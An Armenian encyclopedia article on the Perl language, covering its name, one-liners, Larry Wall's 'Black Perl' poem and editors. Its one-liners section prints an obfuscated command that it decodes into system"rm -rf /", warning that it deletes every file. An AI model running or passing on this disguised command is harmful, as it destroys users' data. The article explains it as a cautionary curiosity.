**Perl**, ընդհանուր նշանակության բարձր մակարդակի ինտերպրետացվող դինամիկ ծրագրավորման լեզու է, ստեղծվել է Լարրի Ուոլի կողմից, ով կրթությամբ լեզվաբան է։ Լեզվի անվանումն իրենից ներկայացնում է հապավում, որը նշանակում է *Practical Extraction and Report Language*՝ «տվյալների դուրսբերման և զեկույցների կազմման պրակտիկ լեզու»։ Սկզբնականում հապավումը կազմված էր հինգ տառերից, որոնց այդպիսի դասավորությունը համընկնում էր անգլերեն pearl («մարգարիտ») բառի հետ։ Սակայն հետագայում պարզվեց, որ այդպիսի լեզու արդեն գոյություն ունի (տես՝ PEARL), ուստի «a» տառը հեռացրեցին անվանումից։ Perl լեզվի թալիսման է համարվում ուղտը` ոչ այնքան գեղեցիկ, բայց շատ դիմացկուն մի կենդանի, որը կարող է ծանր աշխատանքներ կատարել։

Լեզվի հիմնական հատկություն է համարվում տեքստի հետ աշխատելու հարուստ հնարավորությունները, այդ թվում՝ կանոնավոր արտահայտությունները, որոնք մտնում են լեզվի շարահյուսության մեջ։ Perl–ը շատ հատկություններ ժառանգել է ծրագրավորման C և AWK լեզուներից։

Perl–ը հայտնի է նաև իր CPAN լրացուցիչ մոդուլների հսկայական հավաքածուով, որոնք տեղադրված են  կայքում։

Մեկ տողանոց ծրագրեր
-------------------

Perl–ի հետաքրքիր և հաճախ օգտագործվող հնարավորություններից է մեկ տողանոց, այսպես կոչված, one-liners, ծրագրերը։ Դրանք սովորաբար օգտագործվում են ինտերպրետատորի կանչման տողում՝ `-e` բանալու օգնությամբ։

Հետևյալ ծրագիրը կարտարծի պարզ թվերը՝

```
perl -wle '(1 x $\_) !~ /^(1|((11+)\3+))$/ && print while ++ $\_'

```

Այս օրինակը կարտարծի file ֆայլի միայն չկրկնվող տողերը։ `-n` բանալին մշակվող տողը տեղադրում է ցիկլի մեջ, որն անցնում է ծրագրի տեքստից հետո նշված ֆայլերի բոլոր տողերով՝

```
perl -ne '$s{$\_}++ || print' file

```

Նշում` Windows օպերացիոն համակարգում նախորդ հրամանը գործարկելու համար `'` ապաթարցները փոխարինեք կրկնակի չակերտներով (`"`)։

Այս օրինակներում Perl–ն իր կարճ և անհասկանալի ծրագրային կոդով առաջին հայացքից հիշեցնում է J ծրագրավորման լեզուն։

Այսպիսի օրինակներից է նաև համացանցում մեծ աղմուկ հանած հետևյալ ծրագիրը, որն իրականում Բարմինի փաթչ է (բոլոր ֆայլերի ռեկուրսիվ հեռացման դիմակավորված հրաման)՝

```
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$\_;see'

```

`echo "test... test... test..."` հրամանի կատարումը ոչ մի կերպ չի ազդում ծրագրի աշխատանքի վրա և գրված է, ամենայն հավանականությամբ, զգոնությունը թուլացնելու համար։ Այն, ինչ ծրագիրը կատարում է կոդի մնացած մասում, այնքան էլ ակնհայտ չէ, քանի որ այն միտումնավոր խճճված է։ Այս տողում գրված է ընդամենը երեք հաջորդական կիրառվող հրամաններ։ Գրենք հրամաններն այս տեսքով՝

```
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$\_;see

```

Առաջին կառուցվածքը հետազոտում է `$?` փոփոխականը՝ նախորդ հրամանին վերադառնալու կոդը։ Քանի որ նախքան այս կառուցվածքի կառարումը դուստր պրոցեսներ չեն ստեղծվել, `$?`–ը կպարունակի 0, և կկատարվի երկրորդ «ճյուղը»՝ `s;;=]=>%-{<-|}<&|`{;` կոդը։ Այս հրամանը, իր հերթին, փոխարինում է `$_` կուտակիչ փոփոխականի տողը հետևյալով՝ `=]=>%-{<-|}<&|`{` (`s`–ից հետո առաջին նշանը սահմանում է այդ օպերատորի պարամետրերի սահմանիչը, և, չնայած այդ նպատակով ավանդաբար օգտագործվող `/` կամ `|` նշանների, կոդն անհասկանալի դարձնելու համար այս կառուցվածքում օգտագործվում է `;` սահմանիչ)։

Երկրորդ հրամանը բավականին բարդ կանոններով փոխում է «կուտակչի» պարունակությունը։ Ձախ կողմում նշված է նշանների 4 միջակայք, աջ կողմում՝ մեկ։ Եթե բացենք այդ միջակայքերը, կստանանք հետևյալ համընկնումները՝

```
 !"#$%&'()\*+,-./:;<=>?@[\]^\_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -

```

Արդյունքում `$_` փոփոխականի պարունակությունը ընդունում է հետևյալ տեսքը՝

```
system"rm -rf /"

```

Երրորդ հրամանը երկու անգամ (ինչպես հրամայում է `ee` դրոշակը) «հաշվում է» կուտակչի պարունակությունը՝ վերընշված ապակառուցողական հրամանը, և փորձում է հաշվման արդյունքով փոխարինել կուտակչի դատարկ տողը։

Պոեզիան Perl–ում
----------------

Perl–ով կարելի է նույնիսկ բանաստեղծություններ գրել։ Այդպիսի բանաստեղծություններից մեկը՝ «Black Perl»–ը («Սև մարգարիտ» կամ «Սև Perl») հիշատակվել էր Լարրի Ուոլի կողմից Usenet–ի ապրիլմեկյան նամակում։ Այն ի սկզբանե գրված էր Perl 3–ի համար, և, Լարրիի խոսքերով, ինքը հաճույք է ստացել այն բանից, որ բանաստեղծությունը չի անցել Perl 5–ի քերականական անալիզատորը։

```
 BEFOREHEAD: close door, each window & exit; wait until time.
 open spellbook, study, read (scan, select, tell us);
 write it, print the hex whole each watches,
 reverse its length, write again;
 kill spiders, pop them, chop, split, kill them.
 unlink arms, shift, wait & listen (listening, wait),
 sort the flock (then, warn the "goats" & kill the "sheep");
 kill them, dump qualms, shift moralities,
 values aside, each one;
 die sheep! die to reverse the system
 you accept (reject, respect);
 next step,
 kill next sacrifice, each sacrifice,
 wait, redo ritual until "all the spirits are pleased";
 do it ("as they say").
 do it(\*everyone\*\*\*must\*\*\*participate\*\*\*in\*\*\*forbidden\*\*s\*e\*x\*).
 return last victim; package body;
 exit crypt (time, times & "half a time") & close it,
 select (quickly) & warn your next victim;
 AFTERWORDS: tell nobody,
 wait, wait until time;
 wait until next year, next decade;
 sleep, sleep, die yourself,
 die at last

```

Խմբագրիչները
------------

* Padre IDE
* PSPad
* ActiveState Komodo Արխիվացված 2008-12-20 Wayback Machine
* jEdit
* EPIC — Perl Editor and IDE for Eclipse
* Geany
* IDM Computer Solutions, Inc. — UltraEdit & UEStudio
* Notepad++
* Gedit
* SciTE
* Emacs
* Vim
* DzSoft Perl Editor

Տես նաև
-------

* Python
* PHP

Ծանոթագրություններ
------------------

1. ↑
2. ↑
3. 1 2 3 4 5 6
4. ↑  The perl Open Source Project on Open Hub: Licenses Page — 2006.
5. ↑
6. ↑
7. ↑
8. ↑  Perl լեզվի նկարագրությունը perldoc.perl.org կայքում (անգլ.)
9. ↑  программа из одной строчки на Perl (ռուս.)

Արտաքին հղումներ
----------------

* Պաշտոնական կայք(անգլ.)
* www.cpan.org — CPAN․ Perl լեզվի գրադարանների պահոց(անգլ.)
* Perldoc — Perl–ի պաշտոնական փաստաթղթերը(անգլ.)
* ActivePerl — Perl–ի դիսթրիբութիվը ActiveState–ից(անգլ.)

|  |  |
| --- | --- |
|  | Վիքիպահեստն ունի նյութեր, որոնք վերաբերում են «Perl» հոդվածին։ |

|  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 

|  |  |
| --- | --- |
|  ⛭   Թեմատիկ կայքեր | չարորաբան |
|  |
| Բառարաններ և հանրագիտարաններ | Բրիտանիկա · Մեծ կատալոնական · Մեծ նորվեգական |
|  |
| 

|  Չափորոշչային վերահսկողություն |
| --- |
|  |
| BNE: XX542605 · BNF: 124906490 · GND: 4307836-9 · LCCN: sh95010633 · Microsoft: 2777002779 · NKC: ph117992 |

 |

 |

|  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 

| * դ
* ք
* խ
Perl |
| --- |
|  |
| Մարդիկ | Լարրի Ուոլ • Ռենդել Շվարց • Դեմիեն Քոնուեյ • Էլիսոն Ռենդել • Audrey Tang • Simon Cozens • Շոն Բերկ • chromatic • Ադամ Քենեդի • brian d foy • Mark Jason Dominus |
|  |
| Things | The Perl Foundation • Perl Mongers • PerlMonks • CPAN • մոդուլներ • Perl VM • Parrot • YAPC • Bioperl • Plack • PSGI |
|  |
| Ֆրեյմվորկներ | Catalyst • Mason • Maypole • Dancer • Moose • Mojolicious |
|  |
| **Outline** • **Կատեգորիա** |

 |

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 

| * դ
* ք
* խ
Հիմնական ծրագրավորման լեզուները (համեմատումը  • IDE  • պատմությունը  • ժամանակագրութունը) |
| --- |
|  |
| Օգտագործվողլեզուները | 
Ada •
APL •
Ասեմբլեր •
ActionScript •
ABAP/4 •
AutoIt •
AWK •
Basic •
C •
Կոբոլ •
C++ •
C# •
Cω •
Clarion •
Clojure •
ColdFusion •
Common Lisp •
D •
dBase •
Delphi •
Eiffel •
Erlang •
Euphoria •
F# •
Fort •
Fortran •
Gambas •
Go •
Groovy •
HAL/S •
Haskell •
Icon •
Ջավա •
ՋավաՍկրիպտ •
Limbo •
Lua •
Mudula-3 •
Object Pascal •
Objective-C •
OCaml •
Oz •
Parser •
Pascal •
Perl •
PHP •
PowerBASIC •
Python •
PL/1 •
Prolog •
R •
Ruby •
Scala •
Scheme •
Smalltalk •
SQL •
Standard ML •
PL/SQL •
Tcl •
Vala •
Visual Basic
(.NET)
 |
|  |
| Ուսումնական | 
Agda •
Clean •
Curry •
Լոգո •
ML •
REFAL •
Simula •
Օբերոն
 |
|  |
| IEC 61131-3 | 
Instruction List •
ST •
FBD •
Ladder Diagram (LD) •
SFC
 |
|  |
| Այլ | 
Modula-2 •
Miranda •
Hope •
Rexx
 |
|  |
| Էզոտերիկ | 
HQ9+/HQ9++ •
INTERCAL •
Brainfuck •
Brainfork •
Befunge •
Malbolge •
Piet •
Spoon •
Unlambda •
Whitespace •
FALSE •
LOLCODE
 |
|  |
| Վիզուալ | 
G
(LabVIEW) •
Microsoft VPL •
Sikuli •
VisSim •
Scratch
 |

 |